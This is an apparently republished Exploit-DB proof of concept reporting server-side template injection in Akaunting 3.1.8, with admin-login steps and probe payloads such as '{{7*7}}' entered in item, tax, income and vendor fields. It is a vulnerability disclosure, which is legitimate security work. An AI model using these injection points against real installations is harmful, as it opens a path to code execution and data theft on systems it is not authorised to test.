Akaunting 3.1.8 – Server-Side Template Injection (SSTI)

• Exploit Database
• 774 阅读

• 作者： tmrswrr
  日期： 2024-06-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52030/

• # Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection (SSTI)
  # Exploit Author: tmrswrr
  # Date: 30/05/2024
  # Vendor: https://akaunting.com/forum
  # Software Link: https://akaunting.com/apps/crm
  # Vulnerable Version(s): 3.1.8
  # Tested : https://www.softaculous.com/apps/erp/Akaunting
  
  
  1 ) Login with admin cred and go to : Items > New Item
  https://127.0.0.1/Akaunting/1/common/items
  2 ) Write SSTI payload : {{7*7}}Name field , write Sale and Purchase Price random numbers
  3 ) Save it 
  4 ) You will be see result : 
  49
  
  
  ====================================================================================
  
  1 ) Login with admin cred and go to :Settings > Taxes > New Tax
  https://127.0.0.1/Akaunting/1/settings/taxes/1/edit
  2 ) Write SSTI payload : {{7*7}}Name field , write Sale and Purchase Price random numbers
  3 ) Save it 
  4 ) You will be see result : 
  49
  > {{'a'.toUpperCase()}}
  > A
  > {{'a'.concat('b')}}
  > ab
  ====================================================================================
  
  
  1 ) Login with admin cred and go to : Banking > Transactions > New Income
  https://127.0.0.1/Akaunting/1/banking/transactions/create?type=income
  2 ) Write SSTI payload : {{7*7}}Description field
  3 ) Save it 
  4 ) You will be see result : 
  49
  > {{'a'.toUpperCase()}}
  > A
  > {{'a'.concat('b')}}
  > ab
  
  =======================================================================================
  
  1 ) Login with admin cred
  https://127.0.0.1/Akaunting/1/purchases/vendors/1/edit
  2 ) Write SSTI payload : {{7*7}}Name field
  3 ) Save it 
  4 ) You will be see result : 
  49
  > {{'a'.toUpperCase()}}
  > A
  > {{'a'.concat('b')}}
  > ab